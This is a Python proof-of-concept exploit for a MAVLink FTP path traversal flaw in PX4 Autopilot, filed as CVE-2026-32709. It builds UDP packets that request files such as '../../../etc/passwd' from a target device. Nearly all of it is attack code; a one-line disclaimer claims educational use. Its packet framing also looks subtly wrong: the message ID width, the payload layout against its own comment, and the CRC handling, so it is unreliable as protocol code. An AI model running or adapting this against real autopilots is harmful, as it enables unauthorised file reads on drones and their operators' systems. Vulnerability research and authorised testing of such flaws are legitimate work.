#!/usr/bin/env python3
"""
CVE-2026-32709 PoC - PX4 Autopilot MAVLink FTP Path Traversal
This PoC demonstrates reading arbitrary files from PX4 Autopilot filesystem.
Note: This is for educational and authorized testing purposes only.
"""
import socket
import struct
import sys
# MAVLink FTP Message IDs
MAVLINK_MSG_ID_FILE_TRANSFER_SESSION = 0
MAVFTP_OPCODE_READ = 1
MAVFTP_OPCODE_READ_ACK = 129
def create_mavlink_ftp_message(opcode, session, offset, data):
"""Create a MAVLink FTP message with path traversal payload."""
# MAVLink header (10 bytes for MAVLink 2.0)
magic = 0xFD
payload_len = 12 + len(data)
incompatibility_flags = 0
compatibility_flags = 0
packet_sequence = 1
system_id = 255 # Ground station
component_id = 190 # MAVFTP component
# MAVLink message ID for FileTransferSession
msg_id = 110 # MAVLINK_MSG_ID_FILE_TRANSFER_SESSION
# Build payload: opcode(1) + session(1) + offset(4) + size(4) + data
payload = struct.pack('<BBIII', opcode, session, offset, len(data), 0) + data
# CRC calculation would go here (simplified for PoC)
crc = 0
header = struct.pack('<BBBBBBH',
magic, payload_len, incompatibility_flags, compatibility_flags,
packet_sequence, system_id, component_id)
message = header + struct.pack('<I', msg_id) + payload
crc_payload = header[1:] + struct.pack('<I', msg_id) + payload
# Calculate CRC
crc = crc16_calculate(crc_payload)
return message + struct.pack('<H', crc)
def crc16_calculate(data):
"""Calculate MAVLink CRC16."""
crc = 0xFFFF
for byte in data:
crc ^= byte
for _ in range(8):
if crc & 1:
crc = (crc >> 1) ^ 0xA001
else:
crc >>= 1
return crc
def exploit_path_traversal(target_ip, target_port, file_path):
"""
Exploit path traversal to read arbitrary files.
Example: file_path = '../../../etc/passwd'
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
try:
# Craft path traversal request
payload = file_path.encode('utf-8') + b'\x00'
# Create READ request (opcode 1)
request = create_mavlink_ftp_message(
opcode=MAVFTP_OPCODE_READ,
session=0,
offset=0,
data=payload
)
print(f"[*] Sending path traversal request for: {file_path}")
sock.sendto(request, (target_ip, target_port))
# Receive response
response, addr = sock.recvfrom(4096)
print(f"[+] Received response from {addr}")
print(f"[+] Response length: {len(response)} bytes")
return response
except socket.timeout:
print("[-] Request timed out - target may not be vulnerable or not reachable")
return None
except Exception as e:
print(f"[-] Error: {e}")
return None
finally:
sock.close()
if __name__ == "__main__":
if len(sys.argv) < 4:
print("Usage: python3 poc.py <target_ip> <port> ")
print("Example: python3 poc.py 192.168.1.1 14540 '../../../etc/passwd'")
sys.exit(1)
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
file_path = sys.argv[3]
exploit_path_traversal(target_ip, target_port, file_path)